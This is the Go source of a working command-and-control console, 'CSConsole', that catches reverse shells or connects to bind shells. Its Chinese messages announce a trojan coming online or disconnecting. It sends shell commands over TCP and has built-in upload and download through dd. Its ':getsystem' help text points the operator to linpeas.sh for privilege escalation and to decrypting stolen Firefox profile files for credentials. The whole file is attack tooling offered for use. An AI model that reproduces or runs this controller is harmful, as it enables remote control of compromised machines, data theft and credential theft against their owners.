package main

import (
	"bufio"
	"errors"
	"fmt"
	"log"
	"net"
	"os"
	"os/exec"
	"regexp"
	"strconv"
	"strings"
)

func main() {
	//print banner
	fmt.Println("  ____ ____   ____                      _      ")
	fmt.Println(" / ___/ ___| / ___|___  _ __  ___  ___ | | ___ ")
	fmt.Println("| |   \\___ \\| |   / _ \\|  _ \\/ __|/ _ \\| |/ _ \\")
	fmt.Println("| |___ ___) | |__| (_) | | | \\__ \\ (_) | |  __/")
	fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")

	console()
	//listener("tcp", 4444)
	//dial("tcp", "127.0.0.1", 4444)
}

type env struct {
	lport    int
	rhost    string
	rport    int
	username string
}

var env1 env

// listener function
func listener(port int) {
	// Create a listener
	var addr net.TCPAddr
	addr.IP = net.IPv4(127, 0, 0, 1)
	addr.Port = port
	listener, err := net.ListenTCP("tcp", &addr)
	if err != nil {
		fmt.Println("err = ", err)
		return
	}
	fmt.Printf("Listening on local port %d\n", port)
	defer listener.Close()

	//var connpool[16] net.TCPConn
	//Wait for connection

	conn, err := listener.AcceptTCP()
	if err != nil {
		fmt.Println("err = ", err)
		return
	}
	fmt.Println("木马已经上线")

	//defer conn.Close() //Close TCP connetcion

	exit := make(chan string, 1)
	receive := make(chan int)
	sstop := make(chan string)
	rstop := make(chan string)

	//Get username
	conn.Write([]byte("id\n"))
	receiver(*conn)
	fmt.Print(env1.username + " > ")

	go func() {
		for {
			select {
			case <-rstop:
				return
			default:
				<-receive
				receiver(*conn)
				fmt.Print(env1.username + " > ")
			}
		}
	}()

	go func() {
		for {
			select {
			case <-sstop:
				return
			default:
				sender(conn, exit, receive, sstop, rstop)

			}
		}
	}()
	fmt.Println("waiting exit")
	aaaa := <-exit // 2. 尝试从通道中读取内容，若通道为空，则阻塞在此
	sstop <- "stop sender"
	rstop <- "stop receiver"
	fmt.Printf("command: %v\n", aaaa)
	return
}

// 控制台函数
func console() {

	//set some defult env varieties
	env1.lport = 4444
	env1.rhost = "127.0.0.1"
	env1.rport = 4444

	reader := bufio.NewReader(os.Stdin)
	for {
		fmt.Print("CSConsole > ")
		// Read the keyboad input.
		input, err := reader.ReadString('\n')
		if err != nil {
			fmt.Fprintln(os.Stderr, err)
		}

		// Handle the execution of the input.
		if err = execInput(input); err != nil {
			fmt.Fprintln(os.Stderr, err)
		}
	}
}

//define some errors
var ErrNoSet = errors.New("variaty name required")
var ErrNoVar = errors.New("variaty name wrong")

func execInput(input string) error {
	// Remove the newline character.
	input = strings.TrimSuffix(input, "\n")

	// Split the input separate the command and the arguments.
	args := strings.Split(input, " ")

	// Check for built-in commands.
	switch args[0] {

	case "help":
		fmt.Println("use show to show options")
		fmt.Println("use set to set varieties")
		fmt.Println("use listen to connect a reverse shell")
		fmt.Println("use dial to connect a bind shell")
		return nil

	case "cd":
		// use "cd" to cd home
		if len(args) < 2 {
			home := os.Getenv("HOME")
			return os.Chdir(home)
		}
		// Change the directory and return the error.
		return os.Chdir(args[1])

	case "set":
		if len(args) < 3 {
			return ErrNoSet
		}
		switch args[1] {
		case "lport":
			env1.lport, _ = strconv.Atoi(args[2])
			return nil
		case "rhost":
			env1.rhost = args[2]
			return nil
		case "rport":
			env1.rport, _ = strconv.Atoi(args[2])
			return nil
		default:
			return ErrNoVar
		}

	case "show":
		fmt.Printf("Local listening port (lport): %d\n", env1.lport)
		fmt.Printf("Remote listening host (rhost)(only support ipv4 addr): %s\n", env1.rhost)
		fmt.Printf("Remote listening port (rport): %d\n", env1.rport)
		return nil

	case "listen":
		listener(env1.lport)
		return nil

	case "dial":
		dial(env1.rhost, env1.rport)
		return nil
	case "exit":
		os.Exit(0)
	}

	// Prepare the command to execute.
	cmd := exec.Command(args[0], args[1:]...)

	// Set the correct output device.
	cmd.Stderr = os.Stderr
	cmd.Stdout = os.Stdout

	// Execute the command and return the error.
	return cmd.Run()
}

func dial(host string, port int) {
	//处理连接参数
	var dialaddr net.TCPAddr
	var ipargs [4]int
	args := strings.Split(host, ".")
	for i := 0; i < 4; i++ {
		ipargs[i], _ = strconv.Atoi(args[i])
	}
	dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
	dialaddr.Port = port

	conn, err := net.DialTCP("tcp", nil, &dialaddr)
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		return
	}
	defer conn.Close()
	defer fmt.Println("木马已断开")
	fmt.Println("成功连接木马")

	exit := make(chan string, 1)
	receive := make(chan int)
	sstop := make(chan string)
	rstop := make(chan string)

	conn.Write([]byte("id\n"))
	receiver(*conn)
	fmt.Print(env1.username + " > ")

	go func() {
		for {
			select {
			case <-rstop:
				return
			default:
				<-receive
				receiver(*conn)
				fmt.Print(env1.username + " > ")
			}
		}
	}()

	go func() {
		for {
			select {
			case <-sstop:
				return
			default:
				sender(conn, exit, receive, sstop, rstop)

			}
		}
	}()
	aaaa := <-exit //尝试从通道中读取内容，若通道为空，则阻塞在此
	sstop <- "stop sender"
	rstop <- "stop receiver"
	fmt.Printf("command: %v\n", aaaa)
	return
}

func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
	reader := bufio.NewReader(os.Stdin)
	inp, err := reader.ReadString('\n')
	if len(inp) == 1 {
		fmt.Print(env1.username + " > ")
		return
	}
	if nil != err {
		fmt.Println("reader.ReadLine() error:", err)
	}
	//some built-in command
	if strings.HasPrefix(inp, ":help") {
		fmt.Println("use :download FILENAME to download")
		fmt.Println("use :upload LOCAL REMOTE to upload")
		fmt.Println("use :exit to hung up session")
		fmt.Println("use :getsystem to get Local Privilege Escalation")
		fmt.Println("use :flush to flush receive buffer(Use only when input and output are inconsistent)")
		fmt.Print(env1.username + " > ")
		return
	}

	if strings.HasPrefix(inp, ":download") {
		inp = strings.TrimSuffix(inp, "\n")
		args := strings.Split(inp, " ")
		if len(args) != 2 {
			fmt.Println("args error")
			return
		}
		conn.Write([]byte("dd if=" + args[1] + " status=none bs=4096" + "\n"))
		dlbuf := make([]byte, 4096)
		dlfile, _ := os.Create("./downloaded/" + args[1])
		defer dlfile.Close()
		for {
			n, _ := conn.Read(dlbuf)
			_, err := dlfile.Write(dlbuf[:n])
			if n != 4096 {
				fmt.Println("downloaded at downloaded/" + args[1])
				fmt.Print(env1.username + " > ")
				return
			}
			if err != nil {
				panic(err)
			}
		}

	}

	if strings.HasPrefix(inp, ":upload") {
		inp = strings.TrimSuffix(inp, "\n")
		args := strings.Split(inp, " ")
		if len(args) != 3 {
			fmt.Println("args error")
			return
		}
		f, err := os.OpenFile(args[1], os.O_RDONLY, 0744)
		if err != nil {
			log.Fatal(err)
		}
		if err := f.Close(); err != nil {
			log.Fatal(err)
		}

		uploadbuf, _ := os.ReadFile(args[1])
		file, _ := os.Stat(args[1])
		size := file.Size()
		count := size / 1024
		morecount := size % 1024
		if morecount != 0 {
			count++
		}
		strcount := strconv.Itoa(int(count))
		conn.Write([]byte("dd of=" + args[2] + " status=none bs=1024 count=" + strcount + "\n"))
		conn.Write(uploadbuf)
		fmt.Println("Upload success")
		fmt.Print(env1.username + " > ")
		return
	}

	if strings.HasPrefix(inp, ":exit") {
		exit <- "server quit" // 3. 向通道内写入内容
		conn.Write([]byte("exit\n"))
		receive <- 1
		return
	}

	if strings.HasPrefix(inp, ":getsystem") {
		fmt.Println("linpeas.sh is a priviliage escape script, please upload it and run")
		fmt.Println("you can download files in .mozilla and then decrypt them by firefox_decrypt.py")
		return
	}

	if strings.HasPrefix(inp, ":flush") {
		receive <- 1
		return
	}
	conn.Write([]byte(inp))
	receive <- 1
	return
}

func receiver(conn net.TCPConn) {
	buflen := 65536
	buf := make([]byte, buflen)
	for {
		n, _ := conn.Read(buf)

		if strings.HasPrefix(string(buf[:n]), "uid=") {
			compileRegex := regexp.MustCompile("（(.*?)）")
			matchArr := compileRegex.FindStringSubmatch(string(buf[:n]))

			if len(matchArr) == 0 {
				compileRegex := regexp.MustCompile("\\((.*?)\\)")
				matchArr = compileRegex.FindStringSubmatch(string(buf[:n]))
			}

			if len(matchArr) > 0 {
				env1.username = matchArr[len(matchArr)-1]
				return
			}
		}
		fmt.Printf("%v", string(buf[:n]))
		if n != buflen {
			return
		}
	}

}
